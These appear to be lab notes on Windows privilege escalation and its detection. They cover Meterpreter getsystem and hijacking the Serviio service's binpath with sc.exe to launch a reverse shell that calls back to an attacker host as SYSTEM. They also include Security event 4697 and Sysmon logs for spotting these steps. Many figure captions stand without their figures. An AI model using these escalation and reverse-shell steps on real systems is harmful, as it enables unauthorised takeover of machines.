Privileges are the permissions of a specific account to perform system-related local operations. i.e. modifying the filesystem, adding users, shutting down the system, etc.
For these to be effective, Windows uses access tokens. These tokens are uniquely identified via a security identifier or SID. These are generated/maintained by the Local Security Authority.
From Windows Vista onward, processes run on four integrity levels, which align with various rights:
System integrity process: SYSTEM rights
High integrity process: administrative rights
Medium integrity process: standard user rights
Low integrity process: very restricted rights often used in sandboxed processes
Using AccessChk from SysInternals to search for files or directories with Everyone having write permissions
PS C:\tools\windows_privilege_escalation> .\accesschk64.exe-uws "Everyone""C:\Program Files (x86)\"Accesschk v6.13- Reports effective permissions for securable objectsCopyright -2006-2020 Mark RussinovichSysinternals -www.sysinternals.comRW C:\Program Files (x86)\IObit
PowerUp is another useful tool for identifying several common Windows misconfigurations.
PowerUp privilege escalation enumeration
User Account Control
User Account Control (UAC) is a Microsoft access control system introduced in Windows Vista and Windows Server 2008. The goal of UAC is that any application wishing to perform an operation with potentially system-wide impact, must inform the user and request approval to do so.
FodHelper is just one method of bypassing UAC for elevated privileges. The Living Off The Land Binaries and Scripts project details other Windows-based privilege escalation techniques including bypasses for UAC. The MITRE website also details various UAC bypass techniques used by APTs.
Escalating to SYSTEM
Service Creation
Options for getsystem in Meterpreter
Successful elevation of privileges using getsystem
Meterpreter now running with SYSTEM-level privileges
Importing Get-Security.psm1
New Service created events
New Service installed events use event ID 4697.
Details of New Windows Service event
Sysmon events generated
Reviewing the RegistryEvents
Reviewing the ProcessCreate event
Checking if the keys or services still exist
Attacking Service Permissions
In some cases an attacker can just modify an existing service directly rather than creating their own.
Querying the Update Orchestrator Service
When querying services with Service Control in PowerShell, we need to use the sc.exe filename and not just sc. The Set-Content cmdlet in PowerShell can be abbreviated with sc, and the PowerShell prompt prioritizes cmdlets over Windows commands.
Enumerating permissions of a service with accesschk64.exe
All authenticated users have access to SERVICE_CHANGE_CONFIG, SERVICE_START, and SERVICE_STOP.
Querying the Serviio service
Modifying the service to point to a reverse shell instead
Starting the Serviio service
This fails, however that is just because the binary does not behave like a service and thus the error can be ignored. Checking the meterpreter shell shows it ran just fine.
ProcessCreate event showing the modification to the service
RegistryEvent entry for the service change as well
ProcessCreate events from starting the service
Chain of ProcessCreate events after starting the service
Leveraging Unquoted Service Paths
Unquoted service paths can allow an attacker to place an executable file along the path to be executed.
Example: A service binary is stored in a path such as C:\Program Files\My Program\My Service\service.exe. If this is unquoted then Windows will attempt to execute a binary from the following paths:
meterpreter > getsystem -h
Usage: getsystem [options]
Attempt to elevate your privilege to that of local system.
OPTIONS:
-h Help Banner.
-t <opt> The technique to use. (Default to '0').
0 : All techniques available
1 : Named Pipe Impersonation (In Memory/Admin)
2 : Named Pipe Impersonation (Dropper/Admin)
3 : Token Duplication (In Memory/Admin)
4 : Named Pipe Impersonation (RPCSS variant)
meterpreter > localtime
Local Date/Time: 2021-06-30 12:49:27.569 Eastern Daylight Time (UTC-500)
meterpreter > getsystem 1
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
[192.168.51.10]: PS C:\tools\windows_privilege_escalation> Get-SecurityEvent $null "6/30/2021 12:49:00" "6/30/2021 12:50:00"
ProviderName: Microsoft-Windows-Security-Auditing
TimeCreated Id LevelDisplayName Message
----------- -- ---------------- -------
...
6/30/2021 12:49:32 PM 4697 Information A service was installed in the system....
[192.168.51.10]: PS C:\tools\windows_privilege_escalation> Get-SecurityEvent 4697 "6/30/2021 12:49:31" "6/30/2021 12:49:33" | Format-List
TimeCreated : 6/30/2021 12:49:32 PM
ProviderName : Microsoft-Windows-Security-Auditing
Id : 4697
Message : A service was installed in the system.
Subject:
Security ID: S-1-5-21-1241977418-156118851-1443169900-1001
Account Name: offsec
Account Domain: CLIENT01
Logon ID: 0xCD626
Service Information:
Service Name: hvaukz
Service File Name: cmd.exe /c echo hvaukz > \\.\pipe\hvaukz
Service Type: 0x10
Service Start Type: 3
Service Account: LocalSystem
[192.168.51.10]: PS C:\tools\windows_privilege_escalation> Import-Module C:\Sysmon\Get-Sysmon.psm1
[192.168.51.10]: PS C:\tools\windows_privilege_escalation> Get-SysmonEvent $null "06/30/2021 12:49:31" "06/30/2021 12:50:00"
ProviderName: Microsoft-Windows-Sysmon
TimeCreated Id LevelDisplayName Message
----------- -- ---------------- -------
...
6/30/2021 12:49:32 PM 13 Information Registry value set:...
6/30/2021 12:49:32 PM 1 Information Process Create:...
6/30/2021 12:49:32 PM 13 Information Registry value set:...
6/30/2021 12:49:32 PM 13 Information Registry value set:...
PS C:\tools\windows_privilege_escalation> C:\Windows\system32\sc.exe config Serviio binpath= 'C:\tools\windows_privilege_escalation\servshell_443.exe'
[SC] ChangeServiceConfig SUCCESS
PS C:\tools\windows_privilege_escalation> Get-Date
Thursday, July 1, 2021 10:42:42 AM
PS C:\tools\windows_privilege_escalation> net start serviio
The Serviio service is starting.
The Serviio service could not be started.
The service did not report an error.
More help is available by typing NET HELPMSG 3534.
[*] https://192.168.51.50:443 handling request from 192.168.51.10;
(UUID: ia20jikd) Staging x64 payload (201308 bytes) ...
[*] Meterpreter session 1 opened (192.168.51.50:443 ->
192.168.51.10:51100) at 2021-07-01 10:56:10 -0400
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
[192.168.51.10]: PS C:\tools\windows_privilege_escalation> Get-SysmonEvent $null "7/1/2021 10:56:00" "7/1/2021 10:56:20"
ProviderName: Microsoft-Windows-Sysmon
TimeCreated Id LevelDisplayName Message
----------- -- ---------------- -------
...
7/1/2021 10:56:10 AM 1 Information Process Create:...
7/1/2021 10:56:10 AM 1 Information Process Create:...
7/1/2021 10:56:10 AM 1 Information Process Create:...
